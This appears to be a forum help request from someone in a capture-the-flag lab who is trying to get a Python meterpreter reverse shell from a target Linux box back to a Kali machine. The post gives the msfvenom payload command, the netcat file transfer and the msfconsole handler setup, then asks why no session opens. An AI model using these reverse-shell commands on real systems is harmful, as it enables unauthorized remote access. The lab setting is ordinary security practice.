I'm currently trying to complete a ctf, and trying to gain root on the target linux system (192.168.138.136) from my kali box (192.168.138.130). I'm also logged on as a user on the target system as well.
What I was trying to accomplish was execute a reverse shell then upgrade to meterpreter to gain root on the target system, but whenever I try to execute my payload on the target system, nothing happens.
Here's a general walkthrough of what I've done so far:
On Kali i've created a payload using msfvenom
msfvenom -p python/meterpreter/reverse_tcp -f raw lhost=192.168.138.130 lport=4050 > payload.py
I then move it to the target box using netcat.
nc -l 7001 < payload.py
nc 192.168.138.130 7001 > payload.py
Then I fire up
msfconsole and issue necessary commands,
use payload python/meterpreter/reverse_tcp,
set lhost 192.168.138.130, and
set lport 4050
then i issue the
exploit command and it begins to listen.
I then go over to the target box, and try to execute the payload by issuing
python payload.py but nothing happens on the Kali box.
Any ideas on what I did wrong or assistance would be great, thanks!